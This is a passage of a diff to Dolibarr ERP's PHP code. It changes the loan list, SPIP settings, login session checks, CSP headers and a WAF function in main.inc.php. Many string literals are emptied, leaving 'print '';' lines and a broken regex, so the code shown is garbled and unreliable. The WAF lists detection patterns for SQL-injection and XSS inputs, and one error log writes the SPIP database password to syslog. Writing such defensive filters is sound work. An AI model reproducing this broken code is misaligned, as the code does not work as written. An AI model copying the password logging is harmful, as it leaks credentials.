= $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); +} +$arrayfields = array(); + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if ($limit) { - $sql .= $db->plimit($limit + 1, $offset); - } - - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; } +$num = $db->num_rows($resql); + // Output page // -------------------------------------------------------------------- @@ -159,6 +174,9 @@ if ($resql) { $i = 0; $param = ''; + if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); + } if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -182,7 +200,10 @@ if ($resql) { if (!empty($socid)) { $url .= '&socid='.$socid; } - $newcardbutton = dolGetButtonTitle($langs->trans('NewLoan'), '', 'fa fa-plus-circle', $url, '', $user->rights->loan->write); + $newcardbutton = ''; + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('NewLoan'), '', 'fa fa-plus-circle', $url, '', $user->rights->loan->write); print '
      '."\n"; if ($optioncss != '') { @@ -194,6 +215,8 @@ if ($resql) { print ''; print ''; print ''; + print ''; + print_barre_liste($langs->trans("Loans"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'money-bill-alt', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -204,27 +227,41 @@ if ($resql) { // Filters lines print '
      '; + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } print ''; print ''; print ''; print ''; print ''; print ''; - print ''; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } + print ''; // Fields title label // -------------------------------------------------------------------- print ''; + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre('', $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); + } print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "l.rowid", "", $param, "", $sortfield, $sortorder); print_liste_field_titre("Label", $_SERVER["PHP_SELF"], "l.label", "", $param, '', $sortfield, $sortorder, 'left '); print_liste_field_titre("LoanCapital", $_SERVER["PHP_SELF"], "l.capital", "", $param, '', $sortfield, $sortorder, 'right '); print_liste_field_titre("DateStart", $_SERVER["PHP_SELF"], "l.datestart", "", $param, '', $sortfield, $sortorder, 'center '); print_liste_field_titre("DateEnd", $_SERVER["PHP_SELF"], "l.dateend", "", $param, '', $sortfield, $sortorder, 'center '); print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "l.paid", "", $param, '', $sortfield, $sortorder, 'right '); - print_liste_field_titre('', $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre('', $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); + } print "\n"; print "\n"; @@ -233,7 +270,8 @@ if ($resql) { // -------------------------------------------------------------------- $i = 0; $totalarray = array(); - while ($i < ($limit ? min($num, $limit) : $num)) { + $imaxinloop = ($limit ? min($num, $limit) : $num); + while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; // Should not happen @@ -244,31 +282,57 @@ if ($resql) { $loan_static->label = $obj->label; $loan_static->paid = $obj->paid; - print ''; - // Ref - print ''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + print $loan_static->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; + } + } else { + print ''; - // Capital - print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } - // Date start - print ''; + // Ref + print ''; - // Date end - print ''; + // Label + print ''; - print ''; + // Capital + print ''; - print ''; + // Date start + print ''; - print "\n"; + // Date end + print ''; + print ''; + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } + + print "\n"; + } $i++; } diff --git a/htdocs/loan/note.php b/htdocs/loan/note.php index 2f2ee7021eb..b3ae1a0d8de 100644 --- a/htdocs/loan/note.php +++ b/htdocs/loan/note.php @@ -108,7 +108,7 @@ if ($id > 0) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/loan/schedule.php b/htdocs/loan/schedule.php index 8887c82ef42..61d763b693e 100644 --- a/htdocs/loan/schedule.php +++ b/htdocs/loan/schedule.php @@ -161,11 +161,11 @@ if (!empty($conf->project->enabled)) { $morehtmlref .= '
      '; $morehtmlref .= ''; $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref .= $formproject->select_projects(-1, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, -1, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } } else { diff --git a/htdocs/mailmanspip/class/mailmanspip.class.php b/htdocs/mailmanspip/class/mailmanspip.class.php index bcfb1b83d6e..e03ea174ef7 100644 --- a/htdocs/mailmanspip/class/mailmanspip.class.php +++ b/htdocs/mailmanspip/class/mailmanspip.class.php @@ -6,7 +6,7 @@ * Copyright (C) 2004 Benoit Mortier * Copyright (C) 2009 Regis Houssin * Copyright (C) 2012 Marcos García - * Copyright (C) 2018 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -77,7 +77,7 @@ class MailmanSpip */ public function isSpipEnabled() { - if (defined("ADHERENT_USE_SPIP") && (ADHERENT_USE_SPIP == 1)) { + if (getDolGlobalInt("ADHERENT_USE_SPIP") == 1) { return true; } @@ -91,10 +91,8 @@ class MailmanSpip */ public function checkSpipConfig() { - if (defined('ADHERENT_SPIP_SERVEUR') && defined('ADHERENT_SPIP_USER') && defined('ADHERENT_SPIP_PASS') && defined('ADHERENT_SPIP_DB')) { - if (ADHERENT_SPIP_SERVEUR != '' && ADHERENT_SPIP_USER != '' && ADHERENT_SPIP_PASS != '' && ADHERENT_SPIP_DB != '') { - return true; - } + if (getDolGlobalString('ADHERENT_SPIP_SERVEUR') != '' && getDolGlobalString('ADHERENT_SPIP_USER') != '' && getDolGlobalString('ADHERENT_SPIP_PASS') != '' && getDolGlobalString('ADHERENT_SPIP_DB') != '') { + return true; } return false; @@ -107,13 +105,13 @@ class MailmanSpip */ public function connectSpip() { - $resource = getDoliDBInstance('mysql', ADHERENT_SPIP_SERVEUR, ADHERENT_SPIP_USER, ADHERENT_SPIP_PASS, ADHERENT_SPIP_DB, ADHERENT_SPIP_PORT); + $resource = getDoliDBInstance('mysql', getDolGlobalString('ADHERENT_SPIP_SERVEUR'), getDolGlobalString('ADHERENT_SPIP_USER'), getDolGlobalString('ADHERENT_SPIP_PASS'), getDolGlobalString('ADHERENT_SPIP_DB'), getDolGlobalString('ADHERENT_SPIP_PORT')); if ($resource->ok) { return $resource; } - dol_syslog('Error when connecting to SPIP '.ADHERENT_SPIP_SERVEUR.' '.ADHERENT_SPIP_USER.' '.ADHERENT_SPIP_PASS.' '.ADHERENT_SPIP_DB, LOG_ERR); + dol_syslog('Error when connecting to SPIP '.getDolGlobalString('ADHERENT_SPIP_SERVEUR').' '.getDolGlobalString('ADHERENT_SPIP_USER').' '.getDolGlobalString('ADHERENT_SPIP_PASS').' '.getDolGlobalString('ADHERENT_SPIP_DB'), LOG_ERR); return false; } @@ -130,6 +128,7 @@ class MailmanSpip { global $conf; + require_once DOL_DOCUMENT_ROOT.'/core/lib/geturl.lib.php'; //Patterns that are going to be replaced with their original value $patterns = array( '%LISTE%', @@ -141,7 +140,7 @@ class MailmanSpip $list, $object->email, $object->pass, - $conf->global->ADHERENT_MAILMAN_ADMIN_PASSWORD + getDolGlobalString('ADHERENT_MAILMAN_ADMIN_PASSWORD') ); $curl_url = str_replace($patterns, $replace, $url); diff --git a/htdocs/main.inc.php b/htdocs/main.inc.php index 32d442008eb..b21608a55a9 100644 --- a/htdocs/main.inc.php +++ b/htdocs/main.inc.php @@ -15,6 +15,8 @@ * Copyright (C) 2020 Charlene Benke * Copyright (C) 2021 Frédéric France * Copyright (C) 2021 Alexandre Spangaro + * Copyright (C) 2023 Joachim Küter + * Copyright (C) 2023 Eric Seigne * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -80,7 +82,7 @@ function realCharForNumericEntities($matches) * Warning: Such a protection can't be enough. It is not reliable as it will always be possible to bypass this. Good protection can * only be guaranted by escaping data during output. * - * @param string $val Brut value found into $_GET, $_POST or PHP_SELF + * @param string $val Brute value found into $_GET, $_POST or PHP_SELF * @param string $type 0=POST, 1=GET, 2=PHP_SELF, 3=GET without sql reserved keywords (the less tolerant test) * @return int >0 if there is an injection, 0 if none */ @@ -89,18 +91,22 @@ function testSqlAndScriptInject($val, $type) // Decode string first because a lot of things are obfuscated by encoding or multiple encoding. // So error=alert(1) $val = preg_replace('//', '', $val); - $val = preg_replace('/[\r\n]/', '', $val); + $val = preg_replace('/[\r\n\t]/', '', $val); } while ($oldval != $val); //print "type = ".$type." after decoding: ".$val."\n"; @@ -123,11 +129,12 @@ function testSqlAndScriptInject($val, $type) // For SQL Injection (only GET are used to scan for such injection strings) if ($type == 1 || $type == 3) { - $inj += preg_match('/delete\s+from/i', $val); - $inj += preg_match('/create\s+table/i', $val); - $inj += preg_match('/insert\s+into/i', $val); - $inj += preg_match('/select\s+from/i', $val); - $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val); + // Note the \s+ is replaced into \s* because some spaces may have been modified in previous loop + $inj += preg_match('/delete\s*from/i', $val); + $inj += preg_match('/create\s*table/i', $val); + $inj += preg_match('/insert\s*into/i', $val); + $inj += preg_match('/select\s*from/i', $val); + $inj += preg_match('/into\s*(outfile|dumpfile)/i', $val); $inj += preg_match('/user\s*\(/i', $val); // avoid to use function user() or mysql_user() that return current database login $inj += preg_match('/information_schema/i', $val); // avoid to use request that read information_schema database $inj += preg_match('/error=alert(1) to bypass test on onerror $tmpval = preg_replace('/<[^<]+>/', '', $val); // List of dom events is on https://www.w3schools.com/jsref/dom_obj_event.asp and https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers - $inj += preg_match('/on(mouse|drag|key|load|touch|pointer|select|transition)([a-z]*)\s*=/i', $val); // onmousexxx can be set on img or any html tag like + $inj += preg_match('/on(mouse|drag|key|load|touch|pointer|select|transition)([a-z]*)\s*=/i', $tmpval); // onmousexxx can be set on img or any html tag like $inj += preg_match('/on(abort|afterprint|animation|auxclick|beforecopy|beforecut|beforeprint|beforeunload|blur|cancel|canplay|canplaythrough|change|click|close|contextmenu|cuechange|copy|cut)\s*=/i', $tmpval); $inj += preg_match('/on(dblclick|drop|durationchange|emptied|end|ended|error|focus|focusin|focusout|formdata|gotpointercapture|hashchange|input|invalid)\s*=/i', $tmpval); $inj += preg_match('/on(lostpointercapture|offline|online|pagehide|pageshow)\s*=/i', $tmpval); $inj += preg_match('/on(paste|pause|play|playing|progress|ratechange|reset|resize|scroll|search|seeked|seeking|show|stalled|start|submit|suspend)\s*=/i', $tmpval); $inj += preg_match('/on(timeupdate|toggle|unload|volumechange|waiting|wheel)\s*=/i', $tmpval); + // More not into the previous list + $inj += preg_match('/on(repeat|begin|finish|beforeinput)\s*=/i', $tmpval); //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event handlers onAbort(), ... $inj += preg_match('/:|:|:/i', $val); // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...' - $inj += preg_match('/javascript\s*:/i', $val); + $inj += preg_match('/j\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t\s*:/i', $val); $inj += preg_match('/vbscript\s*:/i', $val); // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param) if ($type == 1 || $type == 3) { @@ -226,6 +238,10 @@ function analyseVarsForSqlAndScriptsInjection(&$var, $type) } } +// To disable the WAF for GET and POST and PHP_SELF, uncomment this +//define('NOSCANPHPSELFFORINJECTION', 1); +//define('NOSCANGETFORINJECTION', 1); +//define('NOSCANPOSTFORINJECTION', 1); // Check consistency of NOREQUIREXXX DEFINES if ((defined('NOREQUIREDB') || defined('NOREQUIRETRAN')) && !defined('NOREQUIREMENU')) { @@ -238,7 +254,7 @@ if (defined('NOREQUIREUSER') && !defined('NOREQUIREMENU')) { } // Sanity check on URL -if (!empty($_SERVER["PHP_SELF"])) { +if (!defined('NOSCANPHPSELFFORINJECTION') && !empty($_SERVER["PHP_SELF"])) { $morevaltochecklikepost = array($_SERVER["PHP_SELF"]); analyseVarsForSqlAndScriptsInjection($morevaltochecklikepost, 2); } @@ -260,7 +276,6 @@ if (!empty($_SERVER['DOCUMENT_ROOT']) && substr($_SERVER['DOCUMENT_ROOT'], -6) ! set_include_path($_SERVER['DOCUMENT_ROOT'].'/htdocs'); } - // Include the conf.php and functions.lib.php and security.lib.php. This defined the constants like DOL_DOCUMENT_ROOT, DOL_DATA_ROOT, DOL_URL_ROOT... require_once 'filefunc.inc.php'; @@ -339,7 +354,7 @@ if (!defined('NOSESSION')) { } -// Init the 5 global objects, this include will make the 'new Xxx()' and set properties for: $conf, $db, $langs, $user, $mysoc +// Init the 6 global objects, this include will make the 'new Xxx()' and set properties for: $conf, $db, $langs, $user, $mysoc, $hookmanager require_once 'master.inc.php'; // If software has been locked. Only login $conf->global->MAIN_ONLY_LOGIN_ALLOWED is allowed. @@ -492,7 +507,7 @@ if ((!empty($conf->global->MAIN_VERSION_LAST_UPGRADE) && ($conf->global->MAIN_VE // Creation of a token against CSRF vulnerabilities if (!defined('NOTOKENRENEWAL') && !defined('NOSESSION')) { - // No token renewal on .css.php, .js.php and .json.php + // No token renewal on .css.php, .js.php and .json.php (even if the NOTOKENRENEWAL was not provided) if (!preg_match('/\.(css|js|json)\.php$/', $_SERVER["PHP_SELF"])) { // Rolling token at each call ($_SESSION['token'] contains token of previous page) if (isset($_SESSION['newtoken'])) { @@ -630,11 +645,15 @@ $modulepart = explode("/", $_SERVER["PHP_SELF"]); if (is_array($modulepart) && count($modulepart) > 0) { foreach ($conf->modules as $module) { if (in_array($module, $modulepart)) { - $conf->modulepart = $module; + $modulepart = $module; break; } } } +if (is_array($modulepart)) { + $modulepart = ''; +} + /* * Phase authentication / login @@ -649,7 +668,7 @@ if (!defined('NOLOGIN')) { } else { // Authentication mode if (empty($dolibarr_main_authentication)) { - $dolibarr_main_authentication = 'http,dolibarr'; + $dolibarr_main_authentication = 'dolibarr'; } // Authentication mode: forceuser if ($dolibarr_main_authentication == 'forceuser' && empty($dolibarr_auto_user)) { @@ -866,9 +885,9 @@ if (!defined('NOLOGIN')) { exit; } - $resultFetchUser = $user->fetch('', $login, '', 1, ($entitytotest > 0 ? $entitytotest : -1)); // login was retrieved previously when checking password. - if ($resultFetchUser <= 0) { - dol_syslog('User not found, connexion refused'); + $resultFetchUser = $user->fetch('', $login, '', 1, ($entitytotest > 0 ? $entitytotest : -1)); // value for $login was retrieved previously when checking password. + if ($resultFetchUser <= 0 || $user->isNotIntoValidityDateRange()) { + dol_syslog('User not found or not valid, connexion refused'); session_destroy(); session_set_cookie_params(0, '/', null, (empty($dolibarr_main_force_https) ? false : true), true); // Add tag secure and httponly on session cookie session_name($sessionname); @@ -881,11 +900,17 @@ if (!defined('NOLOGIN')) { $_SESSION["dol_loginmesg"] = $langs->transnoentitiesnoconv("ErrorCantLoadUserFromDolibarrDatabase", $login); $user->trigger_mesg = 'ErrorCantLoadUserFromDolibarrDatabase - login='.$login; - } - if ($resultFetchUser < 0) { + } elseif ($resultFetchUser < 0) { $_SESSION["dol_loginmesg"] = $user->error; $user->trigger_mesg = $user->error; + } else { + // Load translation files required by the page + $langs->loadLangs(array('main', 'errors')); + + $_SESSION["dol_loginmesg"] = $langs->transnoentitiesnoconv("ErrorLoginDateValidity"); + + $user->trigger_mesg = $langs->trans("ErrorLoginDateValidity").' - login='.$login; } // Call trigger @@ -930,26 +955,47 @@ if (!defined('NOLOGIN')) { dol_syslog("- This is an already logged session. _SESSION['dol_login']=".$login." _SESSION['dol_entity']=".$entity, LOG_DEBUG); $resultFetchUser = $user->fetch('', $login, '', 1, ($entity > 0 ? $entity : -1)); - if ($resultFetchUser <= 0) { - // Account has been removed after login - dol_syslog("Can't load user even if session logged. _SESSION['dol_login']=".$login, LOG_WARNING); + + //var_dump(dol_print_date($user->flagdelsessionsbefore, 'dayhour', 'gmt')." ".dol_print_date($_SESSION["dol_logindate"], 'dayhour', 'gmt')); + + if ($resultFetchUser <= 0 + || ($user->flagdelsessionsbefore && !empty($_SESSION["dol_logindate"]) && $user->flagdelsessionsbefore > $_SESSION["dol_logindate"]) + || ($user->status != $user::STATUS_ENABLED) + || ($user->isNotIntoValidityDateRange())) { + if ($resultFetchUser <= 0) { + // Account has been removed after login + dol_syslog("Can't load user even if session logged. _SESSION['dol_login']=".$login, LOG_WARNING); + } elseif ($user->flagdelsessionsbefore && !empty($_SESSION["dol_logindate"]) && $user->flagdelsessionsbefore > $_SESSION["dol_logindate"]) { + // Session is no more valid + dol_syslog("The user has a date for session invalidation = ".$user->flagdelsessionsbefore." and a session date = ".$_SESSION["dol_logindate"].". We must invalidate its sessions."); + } elseif ($user->status != $user::STATUS_ENABLED) { + // User is not enabled + dol_syslog("The user login is disabled"); + } else { + // User validity dates are no more valid + dol_syslog("The user login has a validity between [".$user->datestartvalidity." and ".$user->dateendvalidity."], curren date is ".dol_now()); + } session_destroy(); session_set_cookie_params(0, '/', null, (empty($dolibarr_main_force_https) ? false : true), true); // Add tag secure and httponly on session cookie session_name($sessionname); session_start(); if ($resultFetchUser == 0) { - // Load translation files required by page $langs->loadLangs(array('main', 'errors')); $_SESSION["dol_loginmesg"] = $langs->transnoentitiesnoconv("ErrorCantLoadUserFromDolibarrDatabase", $login); $user->trigger_mesg = 'ErrorCantLoadUserFromDolibarrDatabase - login='.$login; - } - if ($resultFetchUser < 0) { + } elseif ($resultFetchUser < 0) { $_SESSION["dol_loginmesg"] = $user->error; $user->trigger_mesg = $user->error; + } else { + $langs->loadLangs(array('main', 'errors')); + + $_SESSION["dol_loginmesg"] = $langs->transnoentitiesnoconv("ErrorSessionInvalidatedAfterPasswordChange"); + + $user->trigger_mesg = 'ErrorUserSessionWasInvalidated - login='.$login; } // Call trigger @@ -962,7 +1008,7 @@ if (!defined('NOLOGIN')) { // Hooks on failed login $action = ''; $hookmanager->initHooks(array('login')); - $parameters = array('dol_authmode'=>$dol_authmode, 'dol_loginmesg'=>$_SESSION["dol_loginmesg"]); + $parameters = array('dol_authmode' => (isset($dol_authmode) ? $dol_authmode : ''), 'dol_loginmesg' => $_SESSION["dol_loginmesg"]); $reshook = $hookmanager->executeHooks('afterLoginFailed', $parameters, $user, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { $error++; @@ -985,7 +1031,7 @@ if (!defined('NOLOGIN')) { $hookmanager->initHooks(array('main')); // Code for search criteria persistence. - if (!empty($_GET['save_lastsearch_values'])) { // We must use $_GET here + if (!empty($_GET['save_lastsearch_values']) && !empty($_SERVER["HTTP_REFERER"])) { // We must use $_GET here $relativepathstring = preg_replace('/\?.*$/', '', $_SERVER["HTTP_REFERER"]); $relativepathstring = preg_replace('/^https?:\/\/[^\/]*/', '', $relativepathstring); // Get full path except host server // Clean $relativepathstring @@ -1035,6 +1081,7 @@ if (!defined('NOLOGIN')) { // Store value into session (values always stored) $_SESSION["dol_login"] = $user->login; + $_SESSION["dol_logindate"] = dol_now('gmt'); $_SESSION["dol_authmode"] = isset($dol_authmode) ? $dol_authmode : ''; $_SESSION["dol_tz"] = isset($dol_tz) ? $dol_tz : ''; $_SESSION["dol_tz_string"] = isset($dol_tz_string) ? $dol_tz_string : ''; @@ -1341,7 +1388,14 @@ if (!defined('NOREQUIREMENU')) { $menumanager->loadMenu(); } - +if (!empty(GETPOST('seteventmessages', 'alpha'))) { + $message = GETPOST('seteventmessages', 'alpha'); + $messages = explode(',', $message); + foreach ($messages as $key => $msg) { + $tmp = explode(':', $msg); + setEventMessages($tmp[0], null, !empty($tmp[1]) ? $tmp[1] : 'mesgs'); + } +} // Functions @@ -1352,7 +1406,7 @@ if (!function_exists("llxHeader")) { * @param string $head Optionnal head lines * @param string $title HTML title * @param string $help_url Url links to help page - * Syntax is: For a wiki page: EN:EnglishPage|FR:FrenchPage|ES:SpanishPage + * Syntax is: For a wiki page: EN:EnglishPage|FR:FrenchPage|ES:SpanishPage|DE:GermanPage * For other external page: http://server/url * @param string $target Target to use on links * @param int $disablejs More content into html header @@ -1400,7 +1454,7 @@ if (!function_exists("llxHeader")) { } if (empty($conf->dol_hide_leftmenu) && !GETPOST('dol_openinpopup', 'aZ09')) { - left_menu('', $help_url, '', '', 1, $title, 1); // $menumanager is retrieved with a global $menumanager inside this function + left_menu(array(), $help_url, '', '', 1, $title, 1); // $menumanager is retrieved with a global $menumanager inside this function } // main area @@ -1445,13 +1499,21 @@ function top_httphead($contenttype = 'text/html', $forcenocache = 0) // X-XSS-Protection //header("X-XSS-Protection: 1"); // XSS filtering protection of some browsers (note: use of Content-Security-Policy is more efficient). Disabled as deprecated. - // Content-Security-Policy - if (!defined('MAIN_SECURITY_FORCECSP')) { + // Content-Security-Policy-Report-Only + if (!defined('MAIN_SECURITY_FORCECSPRO')) { // If CSP not forced from the page // A default security policy that keep usage of js external component like ckeditor, stripe, google, working - // $contentsecuritypolicy = "font-src *; img-src *; style-src * 'unsafe-inline' 'unsafe-eval'; default-src 'self' *.stripe.com 'unsafe-inline' 'unsafe-eval'; script-src 'self' *.stripe.com 'unsafe-inline' 'unsafe-eval'; frame-src 'self' *.stripe.com; connect-src 'self';"; - $contentsecuritypolicy = getDolGlobalString('MAIN_SECURITY_FORCECSP'); + // For example: to restrict to only local resources, except for css (cloudflare+google), and js (transifex + google tags) and object/iframe (youtube) + // default-src 'self'; style-src: https://cdnjs.cloudflare.com https://fonts.googleapis.com; script-src: https://cdn.transifex.com https://www.googletagmanager.com; object-src https://youtube.com; frame-src https://youtube.com; img-src: *; + // For example, to restrict everything to itself except img that can be on other servers: + // default-src 'self'; img-src *; + // Pre-existing site that uses too much js code to fix but wants to ensure resources are loaded only over https and disable plugins: + // default-src https: 'unsafe-inline' 'unsafe-eval'; object-src 'none' + // + // $contentsecuritypolicy = "frame-ancestors 'self'; img-src * data:; font-src *; default-src 'self' 'unsafe-inline' 'unsafe-eval' *.paypal.com *.stripe.com *.google.com *.googleapis.com *.google-analytics.com *.googletagmanager.com;"; + // $contentsecuritypolicy = "frame-ancestors 'self'; img-src * data:; font-src *; default-src *; script-src 'self' 'unsafe-inline' *.paypal.com *.stripe.com *.google.com *.googleapis.com *.google-analytics.com *.googletagmanager.com; style-src 'self' 'unsafe-inline'; connect-src 'self';"; + $contentsecuritypolicy = getDolGlobalString('MAIN_SECURITY_FORCECSPRO'); if (!is_object($hookmanager)) { include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; @@ -1459,7 +1521,44 @@ function top_httphead($contenttype = 'text/html', $forcenocache = 0) } $hookmanager->initHooks(array("main")); - $parameters = array('contentsecuritypolicy'=>$contentsecuritypolicy); + $parameters = array('contentsecuritypolicy'=>$contentsecuritypolicy, 'mode'=>'reportonly'); + $result = $hookmanager->executeHooks('setContentSecurityPolicy', $parameters); // Note that $action and $object may have been modified by some hooks + if ($result > 0) { + $contentsecuritypolicy = $hookmanager->resPrint; // Replace CSP + } else { + $contentsecuritypolicy .= $hookmanager->resPrint; // Concat CSP + } + + if (!empty($contentsecuritypolicy)) { + header("Content-Security-Policy-Report-Only: ".$contentsecuritypolicy); + } + } else { + header("Content-Security-Policy: ".constant('MAIN_SECURITY_FORCECSPRO')); + } + + // Content-Security-Policy + if (!defined('MAIN_SECURITY_FORCECSP')) { + // If CSP not forced from the page + + // A default security policy that keep usage of js external component like ckeditor, stripe, google, working + // For example: to restrict to only local resources, except for css (cloudflare+google), and js (transifex + google tags) and object/iframe (youtube) + // default-src 'self'; style-src: https://cdnjs.cloudflare.com https://fonts.googleapis.com; script-src: https://cdn.transifex.com https://www.googletagmanager.com; object-src https://youtube.com; frame-src https://youtube.com; img-src: *; + // For example, to restrict everything to itself except img that can be on other servers: + // default-src 'self'; img-src *; + // Pre-existing site that uses too much js code to fix but wants to ensure resources are loaded only over https and disable plugins: + // default-src https: 'unsafe-inline' 'unsafe-eval'; object-src 'none' + // + // $contentsecuritypolicy = "frame-ancestors 'self'; img-src * data:; font-src *; default-src 'self' 'unsafe-inline' 'unsafe-eval' *.paypal.com *.stripe.com *.google.com *.googleapis.com *.google-analytics.com *.googletagmanager.com;"; + // $contentsecuritypolicy = "frame-ancestors 'self'; img-src * data:; font-src *; default-src *; script-src 'self' 'unsafe-inline' *.paypal.com *.stripe.com *.google.com *.googleapis.com *.google-analytics.com *.googletagmanager.com; style-src 'self' 'unsafe-inline'; connect-src 'self';"; + $contentsecuritypolicy = getDolGlobalString('MAIN_SECURITY_FORCECSP'); + + if (!is_object($hookmanager)) { + include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; + $hookmanager = new HookManager($db); + } + $hookmanager->initHooks(array("main")); + + $parameters = array('contentsecuritypolicy'=>$contentsecuritypolicy, 'mode'=>'active'); $result = $hookmanager->executeHooks('setContentSecurityPolicy', $parameters); // Note that $action and $object may have been modified by some hooks if ($result > 0) { $contentsecuritypolicy = $hookmanager->resPrint; // Replace CSP @@ -1468,14 +1567,6 @@ function top_httphead($contenttype = 'text/html', $forcenocache = 0) } if (!empty($contentsecuritypolicy)) { - // For example, to restrict 'script', 'object', 'frames' or 'img' to some domains: - // script-src https://api.google.com https://anotherhost.com; object-src https://youtube.com; frame-src https://youtube.com; img-src: https://static.example.com - // For example, to restrict everything to one domain, except 'object', ...: - // default-src https://cdn.example.net; object-src 'none' - // For example, to restrict everything to itself except img that can be on other servers: - // default-src 'self'; img-src *; - // Pre-existing site that uses too much js code to fix but wants to ensure resources are loaded only over https and disable plugins: - // default-src https: 'unsafe-inline' 'unsafe-eval'; object-src 'none' header("Content-Security-Policy: ".$contentsecuritypolicy); } } else { @@ -1484,7 +1575,7 @@ function top_httphead($contenttype = 'text/html', $forcenocache = 0) // Referrer-Policy // Say if we must provide the referrer when we jump onto another web page. - // Default browser are 'strict-origin-when-cross-origin', we want more so we use 'same-origin' so we don't send any referrer when going into another web site + // Default browser are 'strict-origin-when-cross-origin' (only domain is sent on other domain switching), we want more so we use 'same-origin' so browser doesn't send any referrer when going into another web site domain. if (!defined('MAIN_SECURITY_FORCERP')) { $referrerpolicy = getDolGlobalString('MAIN_SECURITY_FORCERP', "same-origin"); @@ -1531,6 +1622,7 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr //print ''."\n"; if (empty($disablehead)) { if (!is_object($hookmanager)) { + include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; $hookmanager = new HookManager($db); } $hookmanager->initHooks(array("main")); @@ -1548,7 +1640,8 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr print ''."\n"; // Do not index print ''."\n"; // Scale for mobile device print ''."\n"; - print ''."\n"; + print ''."\n"; + print ''."\n"; if (getDolGlobalInt('MAIN_FEATURES_LEVEL')) { print ''."\n"; } @@ -1738,39 +1831,45 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr } } + // Custom CSS + if (getDolGlobalString('MAIN_IHM_CUSTOM_CSS')) { + // If a custom CSS was set, we add link to the custom css php file + print ''."\n"; + } + // Output standard javascript links if (!defined('DISABLE_JQUERY') && !$disablejs && !empty($conf->use_javascript_ajax)) { // JQuery. Must be before other includes print ''."\n"; if (defined('JS_JQUERY') && constant('JS_JQUERY')) { - print ''."\n"; + print ''."\n"; } else { - print 